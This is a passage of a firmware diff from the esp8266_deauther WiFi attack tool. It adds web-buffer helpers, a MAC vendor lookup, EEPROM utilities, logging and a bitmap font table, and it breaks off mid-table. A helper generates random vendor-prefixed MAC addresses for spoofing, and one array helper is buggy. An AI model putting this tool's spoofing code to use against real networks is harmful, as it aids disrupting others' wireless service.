bool check(int num);
bool changed = false;
private:
struct Station {
uint8_t ap;
uint8_t ch;
uint8_t * mac;
uint32_t* pkts;
uint32_t* time;
bool selected;
};
SimpleList<Station>* list;
int findStation(uint8_t* mac);
int findAccesspoint(uint8_t* mac);
bool internal_check(int num);
void internal_select(int num);
void internal_deselect(int num);
void internal_add(uint8_t* mac, int accesspointNum);
void internal_remove(int num);
void internal_removeAll();
};

590
esp8266_deauther/data.h Normal file
View File

@ -0,0 +1,590 @@
#ifndef data_h
#define data_h
#include "oui.h"
static uint8_t data_macBuffer;
static char data_vendorBuffer;
static String data_vendorStrBuffer = "";
#define bufSize 6000
int bufc = 0; //buffer counter;
char data_websiteBuffer[bufSize];
/* sendHeader must be called first,
then copy every string (or substring, when generating json files) with sendToBuffer
and if everything is done call sendBuffer.
*/
void sendBuffer() {
if(bufc > 0) {
server.sendContent_P(data_websiteBuffer, bufc);
bufc = 0;
}
}
void sendToBuffer(String str) {
size_t len = str.length();
if(bufc + len > bufSize){
server.sendContent_P(data_websiteBuffer, bufc);
bufc = 0;
}
memcpy(data_websiteBuffer + bufc, str.c_str(), len);
bufc += len;
}
void sendHeader(int code, String type, size_t _size) {
server.setContentLength(_size);
server.send(code, type, "");
}
bool sendSPIFFSFile(String path, String mime) {
#ifdef debug
Serial.print("REQ: ");
Serial.print(path);
Serial.print(" (");
Serial.print(mime);
Serial.print(")");
#endif
if(SPIFFS.exists(path)) {
//Serial.println("File exists");
File myFile = SPIFFS.open(path, "r");
server.streamFile(myFile, mime);
myFile.close();
#ifdef debug
Serial.println(" [OK]");
#endif
return true;
} else {
Serial.println(" [SPIFFS FAIL]");
return false;
}
}
bool loadFromFlash(String path) {
String dataType = "text/plain";
if(path.endsWith("/")) path += "index.html";
if(path.endsWith("html")) dataType = "text/html";
if(path.endsWith("css")) dataType = "text/css;charset=UTF-8";
if(path.endsWith("js")) dataType = "text/javascript";
if(path.endsWith("json")) dataType = "text/json";
return sendSPIFFSFile(path, dataType);
}
String data_getVendor(uint8_t first, uint8_t second, uint8_t third) {
data_vendorStrBuffer = "";
for (int i = 0; i < sizeof(data_vendors) / 11; i++) {
data_macBuffer = pgm_read_byte_near(data_vendors + i * 11 + 0);
if (data_macBuffer == first) {
data_macBuffer = pgm_read_byte_near(data_vendors + i * 11 + 1);
if (data_macBuffer == second) {
data_macBuffer = pgm_read_byte_near(data_vendors + i * 11 + 2);
if (data_macBuffer == third) {
for (int h = 0; h < 8; h++) {
data_vendorBuffer = (char)pgm_read_byte_near(data_vendors + i * 11 + 3 + h);
if (data_vendorBuffer != 0x00) data_vendorStrBuffer += data_vendorBuffer;
}
return data_vendorStrBuffer;
}
}
}
}
return data_vendorStrBuffer;
}
/*
char* data_getStyle() {
int _size = sizeof(data_styleCSS);
for (int i = 0; i < sizeof(data_websiteBuffer); i++) {
if (i < _size) data_websiteBuffer[i] = pgm_read_byte_near(data_styleCSS + i);
else data_websiteBuffer[i] = 0x00;
}
return data_websiteBuffer;
}*/
//source: https://forum.arduino.cc/index.php?topic=38107.0
void PrintHex8(uint8_t *data, uint8_t length) {
Serial.print("0x");
for (int i = 0; i < length; i++) {
if (data[i] < 0x10) {
Serial.print("0");
}
Serial.print(data[i], HEX);
Serial.print(" ");
}
}
//source: http://shelvin.de/eine-integer-zahl-in-das-arduiono-eeprom-schreiben/
void eepromWriteInt(int adr, int val) {
byte low, high;
low = val & 0xFF;
high = (val >> 8) & 0xFF;
EEPROM.write(adr, low);
EEPROM.write(adr + 1, high);
return;
}
int eepromReadInt(int adr) {
byte low, high;
low = EEPROM.read(adr);
high = EEPROM.read(adr + 1);
return low + ((high << 8) & 0xFF00);
}
void getRandomVendorMac(uint8_t *buf) {
int _macRandom = random(sizeof(data_vendors) / 11);
for (int h = 0; h < 3; h++) buf[h] = pgm_read_byte_near(data_vendors + _macRandom * 11 + h);
for (int h = 0; h < 3; h++) buf[h + 3] = random(255);
}
bool intInArray(int num, int _array[]) {
for (int i = 0; i < sizeof(_array); i++) {
if (_array[i] == num) return true;
}
return false;
}
File errlog;
void openLog(){ errlog = SPIFFS.open("/log.txt", "a");}
void addLog(String str){if(errlog){ errlog.println(str); Serial.println(str);}}
void closeLog(){ errlog.close(); }
// Created by http://oleddisplay.squix.ch/ Consider a donation
// In case of problems make sure that you are using the font file with the correct version!
const char Roboto_Mono_8[] PROGMEM = {
0x07, // Width: 7
0x0A, // Height: 10
0x20, // First Char: 32
0xE0, // Numbers of Chars: 224
// Jump Table:
0xFF, 0xFF, 0x00, 0x05, // 32:65535
0x00, 0x00, 0x05, 0x05, // 33:0
0x00, 0x05, 0x05, 0x04, // 34:5
0x00, 0x0A, 0x09, 0x05, // 35:10
0x00, 0x13, 0x07, 0x05, // 36:19
0x00, 0x1A, 0x0B, 0x06, // 37:26
0x00, 0x25, 0x09, 0x05, // 38:37
0x00, 0x2E, 0x05, 0x05, // 39:46
0x00, 0x33, 0x06, 0x05, // 40:51
0x00, 0x39, 0x07, 0x05, // 41:57
0x00, 0x40, 0x09, 0x05, // 42:64
0x00, 0x49, 0x09, 0x05, // 43:73
0x00, 0x52, 0x06, 0x05, // 44:82
0x00, 0x58, 0x07, 0x05, // 45:88
0x00, 0x5F, 0x05, 0x05, // 46:95
0x00, 0x64, 0x07, 0x05, // 47:100
0x00, 0x6B, 0x09, 0x06, // 48:107
0x00, 0x74, 0x05, 0x05, // 49:116
0x00, 0x79, 0x09, 0x05, // 50:121
0x00, 0x82, 0x07, 0x05, // 51:130
0x00, 0x89, 0x09, 0x05, // 52:137
0x00, 0x92, 0x07, 0x05, // 53:146
0x00, 0x99, 0x07, 0x05, // 54:153
0x00, 0xA0, 0x07, 0x05, // 55:160
0x00, 0xA7, 0x07, 0x05, // 56:167
0x00, 0xAE, 0x09, 0x05, // 57:174
0x00, 0xB7, 0x05, 0x05, // 58:183
0x00, 0xBC, 0x06, 0x05, // 59:188
0x00, 0xC2, 0x09, 0x05, // 60:194
0x00, 0xCB, 0x07, 0x05, // 61:203
0x00, 0xD2, 0x09, 0x05, // 62:210
0x00, 0xDB, 0x07, 0x05, // 63:219
0x00, 0xE2, 0x0B, 0x07, // 64:226
0x00, 0xED, 0x07, 0x05, // 65:237
0x00, 0xF4, 0x07, 0x05, // 66:244
0x00, 0xFB, 0x09, 0x06, // 67:251
0x01, 0x04, 0x09, 0x06, // 68:260
0x01, 0x0D, 0x09, 0x05, // 69:269
0x01, 0x16, 0x09, 0x05, // 70:278
0x01, 0x1F, 0x09, 0x06, // 71:287
0x01, 0x28, 0x09, 0x06, // 72:296
0x01, 0x31, 0x07, 0x05, // 73:305
0x01, 0x38, 0x07, 0x05, // 74:312
0x01, 0x3F, 0x09, 0x05, // 75:319
0x01, 0x48, 0x09, 0x05, // 76:328
0x01, 0x51, 0x09, 0x06, // 77:337
0x01, 0x5A, 0x09, 0x06, // 78:346
0x01, 0x63, 0x09, 0x06, // 79:355
0x01, 0x6C, 0x09, 0x05, // 80:364
0x01, 0x75, 0x0A, 0x06, // 81:373
0x01, 0x7F, 0x07, 0x05, // 82:383
0x01, 0x86, 0x09, 0x06, // 83:390
0x01, 0x8F, 0x09, 0x05, // 84:399
0x01, 0x98, 0x09, 0x06, // 85:408
0x01, 0xA1, 0x07, 0x05, // 86:417
0x01, 0xA8, 0x09, 0x05, // 87:424
0x01, 0xB1, 0x07, 0x05, // 88:433
0x01, 0xB8, 0x07, 0x05, // 89:440
0x01, 0xBF, 0x09, 0x05, // 90:447
0x01, 0xC8, 0x08, 0x05, // 91:456
0x01, 0xD0, 0x08, 0x05, // 92:464
0x01, 0xD8, 0x06, 0x05, // 93:472
0x01, 0xDE, 0x07, 0x05, // 94:478
0x01, 0xE5, 0x08, 0x05, // 95:485
0x01, 0xED, 0x05, 0x05, // 96:493
0x01, 0xF2, 0x09, 0x05, // 97:498
0x01, 0xFB, 0x09, 0x06, // 98:507
0x02, 0x04, 0x07, 0x06, // 99:516
0x02, 0x0B, 0x09, 0x06, // 100:523
0x02, 0x14, 0x07, 0x05, // 101:532
0x02, 0x1B, 0x09, 0x05, // 102:539
0x02, 0x24, 0x0A, 0x06, // 103:548
0x02, 0x2E, 0x09, 0x06, // 104:558
0x02, 0x37, 0x07, 0x05, // 105:567
0x02, 0x3E, 0x08, 0x06, // 106:574
0x02, 0x46, 0x09, 0x05, // 107:582
0x02, 0x4F, 0x07, 0x05, // 108:591
0x02, 0x56, 0x0B, 0x07, // 109:598
0x02, 0x61, 0x09, 0x06, // 110:609
0x02, 0x6A, 0x09, 0x06, // 111:618
0x02, 0x73, 0x09, 0x06, // 112:627
0x02, 0x7C, 0x0A, 0x06, // 113:636
0x02, 0x86, 0x07, 0x05, // 114:646
0x02, 0x8D, 0x07, 0x05, // 115:653
0x02, 0x94, 0x09, 0x05, // 116:660
0x02, 0x9D, 0x09, 0x06, // 117:669
0x02, 0xA6, 0x07, 0x05, // 118:678
0x02, 0xAD, 0x09, 0x05, // 119:685
0x02, 0xB6, 0x07, 0x05, // 120:694
0x02, 0xBD, 0x07, 0x05, // 121:701
0x02, 0xC4, 0x09, 0x05, // 122:708
0x02, 0xCD, 0x08, 0x05, // 123:717
0x02, 0xD5, 0x06, 0x05, // 124:725
0x02, 0xDB, 0x07, 0x05, // 125:731
0x02, 0xE2, 0x09, 0x05, // 126:738
0xFF, 0xFF, 0x00, 0x05, // 127:65535
0xFF, 0xFF, 0x00, 0x05, // 128:65535
0xFF, 0xFF, 0x00, 0x05, // 129:65535
0xFF, 0xFF, 0x00, 0x05, // 130:65535
0xFF, 0xFF, 0x00, 0x05, // 131:65535
0xFF, 0xFF, 0x00, 0x05, // 132:65535
0xFF, 0xFF, 0x00, 0x05, // 133:65535
0xFF, 0xFF, 0x00, 0x05, // 134:65535
0xFF, 0xFF, 0x00, 0x05, // 135:65535
0xFF, 0xFF, 0x00, 0x05, // 136:65535
0xFF, 0xFF, 0x00, 0x05, // 137:65535
0xFF, 0xFF, 0x00, 0x05, // 138:65535
0xFF, 0xFF, 0x00, 0x05, // 139:65535
0xFF, 0xFF, 0x00, 0x05, // 140:65535
0xFF, 0xFF, 0x00, 0x05, // 141:65535
0xFF, 0xFF, 0x00, 0x05, // 142:65535
0xFF, 0xFF, 0x00, 0x05, // 143:65535
0xFF, 0xFF, 0x00, 0x05, // 144:65535
0xFF, 0xFF, 0x00, 0x05, // 145:65535
0xFF, 0xFF, 0x00, 0x05, // 146:65535
0xFF, 0xFF, 0x00, 0x05, // 147:65535
0xFF, 0xFF, 0x00, 0x05, // 148:65535
0xFF, 0xFF, 0x00, 0x05, // 149:65535
0xFF, 0xFF, 0x00, 0x05, // 150:65535
0xFF, 0xFF, 0x00, 0x05, // 151:65535
0xFF, 0xFF, 0x00, 0x05, // 152:65535
0xFF, 0xFF, 0x00, 0x05, // 153:65535
0xFF, 0xFF, 0x00, 0x05, // 154:65535
0xFF, 0xFF, 0x00, 0x05, // 155:65535
0xFF, 0xFF, 0x00, 0x05, // 156:65535
0xFF, 0xFF, 0x00, 0x05, // 157:65535
0xFF, 0xFF, 0x00, 0x05, // 158:65535
0xFF, 0xFF, 0x00, 0x05, // 159:65535
0xFF, 0xFF, 0x00, 0x05, // 160:65535
0x02, 0xEB, 0x06, 0x05, // 161:747
0x02, 0xF1, 0x09, 0x06, // 162:753
0x02, 0xFA, 0x09, 0x05, // 163:762
0x03, 0x03, 0x09, 0x06, // 164:771
0x03, 0x0C, 0x09, 0x05, // 165:780
0x03, 0x15, 0x06, 0x05, // 166:789
0x03, 0x1B, 0x0A, 0x06, // 167:795
0x03, 0x25, 0x07, 0x05, // 168:805
0x03, 0x2C, 0x09, 0x06, // 169:812
0x03, 0x35, 0x07, 0x05, // 170:821
0x03, 0x3C, 0x07, 0x05, // 171:828
0x03, 0x43, 0x07, 0x05, // 172:835
0x03, 0x4A, 0x07, 0x05, // 173:842
0x03, 0x51, 0x09, 0x06, // 174:849
0x03, 0x5A, 0x07, 0x05, // 175:858
0x03, 0x61, 0x05, 0x05, // 176:865
0x03, 0x66, 0x07, 0x05, // 177:870
0x03, 0x6D, 0x07, 0x05, // 178:877
0x03, 0x74, 0x07, 0x05, // 179:884
0x03, 0x7B, 0x05, 0x05, // 180:891
0x03, 0x80, 0x07, 0x05, // 181:896
0x03, 0x87, 0x07, 0x05, // 182:903
0x03, 0x8E, 0x05, 0x05, // 183:910
0x03, 0x93, 0x06, 0x05, // 184:915
0x03, 0x99, 0x05, 0x05, // 185:921
0x03, 0x9E, 0x07, 0x05, // 186:926
0x03, 0xA5, 0x09, 0x05, // 187:933
0x03, 0xAE, 0x07, 0x05, // 188:942
0x03, 0xB5, 0x09, 0x05, // 189:949
0x03, 0xBE, 0x07, 0x05, // 190:958
0x03, 0xC5, 0x08, 0x05, // 191:965
0x03, 0xCD, 0x07, 0x05, // 192:973
0x03, 0xD4, 0x07, 0x05, // 193:980
0x03, 0xDB, 0x07, 0x05, // 194:987
0x03, 0xE2, 0x07, 0x05, // 195:994
0x03, 0xE9, 0x07, 0x05, // 196:1001
0x03, 0xF0, 0x07, 0x05, // 197:1008
0x03, 0xF7, 0x09, 0x06, // 198:1015
0x04, 0x00, 0x09, 0x06, // 199:1024
0x04, 0x09, 0x09, 0x05, // 200:1033
0x04, 0x12, 0x09, 0x05, // 201:1042
0x04, 0x1B, 0x09, 0x05, // 202:1051
0x04, 0x24, 0x09, 0x05, // 203:1060
0x04, 0x2D, 0x07, 0x05, // 204:1069
0x04, 0x34, 0x07, 0x05, // 205:1076
0x04, 0x3B, 0x07, 0x05, // 206:1083
0x04, 0x42, 0x07, 0x05, // 207:1090
0x04, 0x49, 0x09, 0x06, // 208:1097
0x04, 0x52, 0x09, 0x06, // 209:1106
0x04, 0x5B, 0x09, 0x06, // 210:1115
0x04, 0x64, 0x09, 0x06, // 211:1124
0x04, 0x6D, 0x09, 0x06, // 212:1133
0x04, 0x76, 0x09, 0x06, // 213:1142
0x04, 0x7F, 0x09, 0x06, // 214:1151
0x04, 0x88, 0x07, 0x05, // 215:1160
0x04, 0x8F, 0x09, 0x06, // 216:1167
0x04, 0x98, 0x09, 0x06, // 217:1176
0x04, 0xA1, 0x09, 0x06, // 218:1185
0x04, 0xAA, 0x09, 0x06, // 219:1194
0x04, 0xB3, 0x09, 0x06, // 220:1203
0x04, 0xBC, 0x09, 0x05, // 221:1212
0x04, 0xC5, 0x09, 0x05, // 222:1221
0x04, 0xCE, 0x09, 0x05, // 223:1230
0x04, 0xD7, 0x09, 0x05, // 224:1239
0x04, 0xE0, 0x09, 0x05, // 225:1248
0x04, 0xE9, 0x09, 0x05, // 226:1257
0x04, 0xF2, 0x09, 0x05, // 227:1266
0x04, 0xFB, 0x09, 0x05, // 228:1275
0x05, 0x04, 0x09, 0x05, // 229:1284
0x05, 0x0D, 0x0B, 0x06, // 230:1293
0x05, 0x18, 0x08, 0x06, // 231:1304
0x05, 0x20, 0x07, 0x05, // 232:1312
0x05, 0x27, 0x07, 0x05, // 233:1319
0x05, 0x2E, 0x07, 0x05, // 234:1326
0x05, 0x35, 0x07, 0x05, // 235:1333
0x05, 0x3C, 0x07, 0x05, // 236:1340
0x05, 0x43, 0x07, 0x05, // 237:1347
0x05, 0x4A, 0x07, 0x05, // 238:1354
0x05, 0x51, 0x07, 0x05, // 239:1361
0x05, 0x58, 0x09, 0x06, // 240:1368
0x05, 0x61, 0x09, 0x06, // 241:1377
0x05, 0x6A, 0x09, 0x06, // 242:1386
0x05, 0x73, 0x09, 0x06, // 243:1395
0x05, 0x7C, 0x09, 0x06, // 244:1404
0x05, 0x85, 0x09, 0x06, // 245:1413
0x05, 0x8E, 0x09, 0x06, // 246:1422
0x05, 0x97, 0x07, 0x05, // 247:1431
0x05, 0x9E, 0x09, 0x06, // 248:1438
0x05, 0xA7, 0x09, 0x06, // 249:1447
0x05, 0xB0, 0x09, 0x06, // 250:1456
0x05, 0xB9, 0x09, 0x06, // 251:1465
0x05, 0xC2, 0x09, 0x06, // 252:1474
0x05, 0xCB, 0x07, 0x05, // 253:1483
0x05, 0xD2, 0x09, 0x06, // 254:1490
0x05, 0xDB, 0x07, 0x05, // 255:1499
// Font Data:
0x00, 0x00, 0x00, 0x00, 0xF8, // 33
0x00, 0x00, 0x18, 0x00, 0x18, // 34
0x40, 0x00, 0xF8, 0x00, 0xD0, 0x00, 0x78, 0x00, 0x10, // 35
0x00, 0x00, 0x98, 0x00, 0x24, 0x01, 0xE8, // 36
0x00, 0x00, 0x18, 0x00, 0x78, 0x00, 0xD0, 0x00, 0xA0, 0x00, 0x40, // 37
0x00, 0x00, 0xD0, 0x00, 0xA8, 0x00, 0xD8, 0x00, 0xC0, // 38
0x00, 0x00, 0x00, 0x00, 0x18, // 39
0x00, 0x00, 0xF0, 0x00, 0x0C, 0x01, // 40
0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0xF0, // 41
0x20, 0x00, 0x60, 0x00, 0x30, 0x00, 0xE0, 0x00, 0x20, // 42
0x20, 0x00, 0x20, 0x00, 0x78, 0x00, 0x20, 0x00, 0x20, // 43
0x00, 0x00, 0x00, 0x00, 0x80, 0x01, // 44
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, // 45
0x00, 0x00, 0x00, 0x00, 0x80, // 46
0x00, 0x00, 0x80, 0x01, 0x70, 0x00, 0x08, // 47
0x00, 0x00, 0x70, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0x70, // 48
0x00, 0x00, 0x08, 0x00, 0xF8, // 49
0x00, 0x00, 0x98, 0x00, 0xC8, 0x00, 0xB8, 0x00, 0x80, // 50
0x00, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xD0, // 51
0x40, 0x00, 0x60, 0x00, 0x50, 0x00, 0xF8, 0x00, 0x40, // 52
0x40, 0x00, 0x98, 0x00, 0x98, 0x00, 0xE8, // 53
0x00, 0x00, 0x70, 0x00, 0x98, 0x00, 0xF8, // 54
0x08, 0x00, 0xC8, 0x00, 0x38, 0x00, 0x08, // 55
0x00, 0x00, 0xD8, 0x00, 0xA8, 0x00, 0xF8, // 56
0x00, 0x00, 0x18, 0x00, 0xA8, 0x00, 0xF8, 0x00, 0x20, // 57
0x00, 0x00, 0x00, 0x00, 0x90, // 58
0x00, 0x00, 0x00, 0x00, 0x10, 0x01, // 59
0x00, 0x00, 0x20, 0x00, 0x60, 0x00, 0x50, 0x00, 0x10, // 60
0x00, 0x00, 0x50, 0x00, 0x50, 0x00, 0x50, // 61
0x00, 0x00, 0x50, 0x00, 0x60, 0x00, 0x20, 0x00, 0x20, // 62
0x00, 0x00, 0x08, 0x00, 0xE8, 0x00, 0x18, // 63
0x00, 0x00, 0x70, 0x00, 0xB8, 0x00, 0x78, 0x00, 0x48, 0x00, 0x30, // 64
0x80, 0x00, 0x70, 0x00, 0x58, 0x00, 0xE0, // 65
0x00, 0x00, 0xF8, 0x00, 0xA8, 0x00, 0xF8, // 66
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0x88, 0x00, 0xD8, // 67
0x00, 0x00, 0xF8, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 68
0x00, 0x00, 0xF8, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0x88, // 69
0x00, 0x00, 0xF8, 0x00, 0x28, 0x00, 0x28, 0x00, 0x08, // 70
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0xA8, 0x00, 0xE8, // 71
0x00, 0x00, 0xF8, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, // 72
0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x88, // 73
0x40, 0x00, 0x80, 0x00, 0x80, 0x00, 0x78, // 74
0x00, 0x00, 0xF8, 0x00, 0x20, 0x00, 0x50, 0x00, 0x88, // 75
0x00, 0x00, 0xF8, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, // 76
0x00, 0x00, 0xF8, 0x00, 0x30, 0x00, 0x30, 0x00, 0xF8, // 77
0x00, 0x00, 0xF8, 0x00, 0x30, 0x00, 0x40, 0x00, 0xF8, // 78
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 79
0x00, 0x00, 0xF8, 0x00, 0x28, 0x00, 0x28, 0x00, 0x10, // 80
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, 0x01, // 81
0x00, 0x00, 0xF8, 0x00, 0x28, 0x00, 0xF8, // 82
0x00, 0x00, 0xD8, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xC0, // 83
0x08, 0x00, 0x08, 0x00, 0xF8, 0x00, 0x08, 0x00, 0x08, // 84
0x00, 0x00, 0x78, 0x00, 0x80, 0x00, 0x80, 0x00, 0x78, // 85
0x08, 0x00, 0x70, 0x00, 0xC0, 0x00, 0x38, // 86
0x38, 0x00, 0xF0, 0x00, 0x78, 0x00, 0xF0, 0x00, 0x08, // 87
0x00, 0x00, 0xD8, 0x00, 0x20, 0x00, 0xD8, // 88
0x08, 0x00, 0x10, 0x00, 0xE0, 0x00, 0x18, // 89
0x00, 0x00, 0xC8, 0x00, 0xA8, 0x00, 0x98, 0x00, 0x88, // 90
0x00, 0x00, 0x00, 0x00, 0xFE, 0x01, 0x02, 0x01, // 91
0x00, 0x00, 0x18, 0x00, 0x60, 0x00, 0x80, 0x01, // 92
0x00, 0x00, 0x02, 0x01, 0xFE, 0x01, // 93
0x00, 0x00, 0x30, 0x00, 0x18, 0x00, 0x20, // 94
0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 95
0x00, 0x00, 0x00, 0x00, 0x08, // 96
0x00, 0x00, 0xD0, 0x00, 0xB0, 0x00, 0xB0, 0x00, 0xE0, // 97
0x00, 0x00, 0xF8, 0x00, 0x90, 0x00, 0x90, 0x00, 0x60, // 98
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, // 99
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x00, 0xF8, // 100
0x00, 0x00, 0x60, 0x00, 0xB0, 0x00, 0xB0, // 101
0x00, 0x00, 0x10, 0x00, 0xF8, 0x00, 0x14, 0x00, 0x14, // 102
0x00, 0x00, 0x60, 0x01, 0x90, 0x01, 0x90, 0x01, 0xF0, 0x01, // 103
0x00, 0x00, 0xF8, 0x00, 0x10, 0x00, 0x10, 0x00, 0xF0, // 104
0x00, 0x00, 0x90, 0x00, 0xF8, 0x00, 0x80, // 105
0x00, 0x00, 0x00, 0x01, 0x10, 0x01, 0xF0, 0x01, // 106
0x00, 0x00, 0xF8, 0x00, 0x20, 0x00, 0x50, 0x00, 0x80, // 107
0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x80, // 108
0x00, 0x00, 0xF0, 0x00, 0x10, 0x00, 0xF0, 0x00, 0x10, 0x00, 0xF0, // 109
0x00, 0x00, 0xF0, 0x00, 0x10, 0x00, 0x10, 0x00, 0xF0, // 110
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x00, 0x60, // 111
0x00, 0x00, 0xF0, 0x01, 0x90, 0x00, 0x90, 0x00, 0x60, // 112
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x00, 0xF0, 0x01, // 113
0x00, 0x00, 0xF0, 0x00, 0x10, 0x00, 0x10, // 114
0x00, 0x00, 0xB0, 0x00, 0xD0, 0x00, 0xD0, // 115
0x00, 0x00, 0x10, 0x00, 0xF8, 0x00, 0x90, 0x00, 0x90, // 116
0x00, 0x00, 0xF0, 0x00, 0x80, 0x00, 0x80, 0x00, 0xF0, // 117
0x10, 0x00, 0x60, 0x00, 0xC0, 0x00, 0x30, // 118
0x70, 0x00, 0xE0, 0x00, 0x70, 0x00, 0xE0, 0x00, 0x10, // 119
0x00, 0x00, 0x90, 0x00, 0x60, 0x00, 0x90, // 120
0x10, 0x00, 0x60, 0x01, 0xC0, 0x00, 0x30, // 121
0x00, 0x00, 0x90, 0x00, 0xD0, 0x00, 0xB0, 0x00, 0x80, // 122
0x00, 0x00, 0x40, 0x00, 0xB8, 0x01, 0x04, 0x02, // 123
0x00, 0x00, 0x00, 0x00, 0xF8, 0x01, // 124
0x00, 0x00, 0x04, 0x02, 0xB8, 0x01, 0x40, // 125
0x40, 0x00, 0x20, 0x00, 0x40, 0x00, 0x40, 0x00, 0x20, // 126
0x00, 0x00, 0x00, 0x00, 0xF0, 0x01, // 161
0x00, 0x00, 0xE0, 0x00, 0x20, 0x01, 0x10, 0x01, 0xA0, // 162
0xA0, 0x00, 0xF8, 0x00, 0xA8, 0x00, 0x88, 0x00, 0x80, // 163
0x00, 0x00, 0xF0, 0x00, 0x90, 0x00, 0x90, 0x00, 0xF0, // 164
0x08, 0x00, 0x70, 0x00, 0xE0, 0x00, 0x70, 0x00, 0x68, // 165
0x00, 0x00, 0x00, 0x00, 0xF8, 0x01, // 166
0x00, 0x00, 0x78, 0x01, 0xA8, 0x02, 0xA8, 0x02, 0x58, 0x01, // 167
0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, // 168
0x00, 0x00, 0x60, 0x00, 0xD0, 0x00, 0x90, 0x00, 0x60, // 169
0x00, 0x00, 0x38, 0x00, 0x28, 0x00, 0x30, // 170
0x00, 0x00, 0x40, 0x00, 0xE0, 0x00, 0xA0, // 171
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x60, // 172
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, // 173
0x00, 0x00, 0x60, 0x00, 0xF0, 0x00, 0x90, 0x00, 0x60, // 174
0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 175
0x00, 0x00, 0x08, 0x00, 0x08, // 176
0x20, 0x00, 0xA0, 0x00, 0xF8, 0x00, 0xA0, // 177
0x00, 0x00, 0x28, 0x00, 0x38, 0x00, 0x20, // 178
0x00, 0x00, 0x08, 0x00, 0x38, 0x00, 0x08, // 179
0x00, 0x00, 0x00, 0x00, 0x08, // 180
0x00, 0x00, 0xF0, 0x01, 0x00, 0x01, 0xF0, // 181
0x00, 0x00, 0x38, 0x00, 0x38, 0x00, 0xF8, // 182
0x00, 0x00, 0x00, 0x00, 0x20, // 183
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, // 184
0x00, 0x00, 0x08, 0x00, 0x38, // 185
0x00, 0x00, 0x38, 0x00, 0x28, 0x00, 0x10, // 186
0x00, 0x00, 0x40, 0x00, 0x20, 0x00, 0x70, 0x00, 0x20, // 187
0x08, 0x00, 0x78, 0x00, 0xF0, 0x00, 0xE0, // 188
0x08, 0x00, 0x78, 0x00, 0x20, 0x00, 0xB0, 0x00, 0x60, // 189
0x08, 0x00, 0x70, 0x00, 0x90, 0x00, 0xE0, // 190
0x00, 0x00, 0x80, 0x01, 0x70, 0x01, 0x00, 0x01, // 191
0x80, 0x00, 0x72, 0x00, 0x5C, 0x00, 0xE0, // 192
0x80, 0x00, 0x70, 0x00, 0x5C, 0x00, 0xE2, // 193
0x80, 0x00, 0x72, 0x00, 0x5A, 0x00, 0xE0, // 194
0x80, 0x00, 0x72, 0x00, 0x5A, 0x00, 0xE2, // 195
0x80, 0x00, 0x72, 0x00, 0x58, 0x00, 0xE2, // 196
0x80, 0x00, 0x70, 0x00, 0x5E, 0x00, 0xE0, // 197
0x00, 0x00, 0xE0, 0x00, 0x58, 0x00, 0xF8, 0x00, 0xA8, // 198
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0x88, 0x01, 0xD8, // 199
0x00, 0x00, 0xF8, 0x00, 0xAA, 0x00, 0xA8, 0x00, 0x88, // 200
0x00, 0x00, 0xF8, 0x00, 0xA8, 0x00, 0xAA, 0x00, 0x88, // 201
0x00, 0x00, 0xF8, 0x00, 0xAA, 0x00, 0xAA, 0x00, 0x88, // 202
0x00, 0x00, 0xFA, 0x00, 0xA8, 0x00, 0xAA, 0x00, 0x88, // 203
0x00, 0x00, 0x8A, 0x00, 0xFC, 0x00, 0x88, // 204
0x00, 0x00, 0x88, 0x00, 0xFC, 0x00, 0x8A, // 205
0x00, 0x00, 0x8A, 0x00, 0xFA, 0x00, 0x88, // 206
0x00, 0x00, 0x8A, 0x00, 0xF8, 0x00, 0x88, // 207
0x20, 0x00, 0xF8, 0x00, 0xA8, 0x00, 0x88, 0x00, 0x70, // 208
0x00, 0x00, 0xF8, 0x00, 0x32, 0x00, 0x42, 0x00, 0xF8, // 209
0x00, 0x00, 0x70, 0x00, 0x8A, 0x00, 0x88, 0x00, 0x70, // 210
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0x8A, 0x00, 0x70, // 211
0x00, 0x00, 0x70, 0x00, 0x8A, 0x00, 0x8A, 0x00, 0x70, // 212
0x00, 0x00, 0x70, 0x00, 0x8A, 0x00, 0x8A, 0x00, 0x70, // 213
0x00, 0x00, 0x70, 0x00, 0x8A, 0x00, 0x88, 0x00, 0x72, // 214
0x00, 0x00, 0x50, 0x00, 0x20, 0x00, 0x50, // 215
0x00, 0x00, 0x70, 0x01, 0xA8, 0x00, 0xA8, 0x00, 0x78, // 216
0x00, 0x00, 0x78, 0x00, 0x82, 0x00, 0x80, 0x00, 0x78, // 217
0x00, 0x00, 0x78, 0x00, 0x80, 0x00, 0x82, 0x00, 0x78, // 218
0x00, 0x00, 0x78, 0x00, 0x82, 0x00, 0x82, 0x00, 0x78, // 219
0x00, 0x00, 0x78, 0x00, 0x82, 0x00, 0x80, 0x00, 0x7A, // 220
0x08, 0x00, 0x10, 0x00, 0xE4, 0x00, 0x12, 0x00, 0x08, // 221
0x00, 0x00, 0xF8, 0x00, 0x50, 0x00, 0x50, 0x00, 0x20, // 222
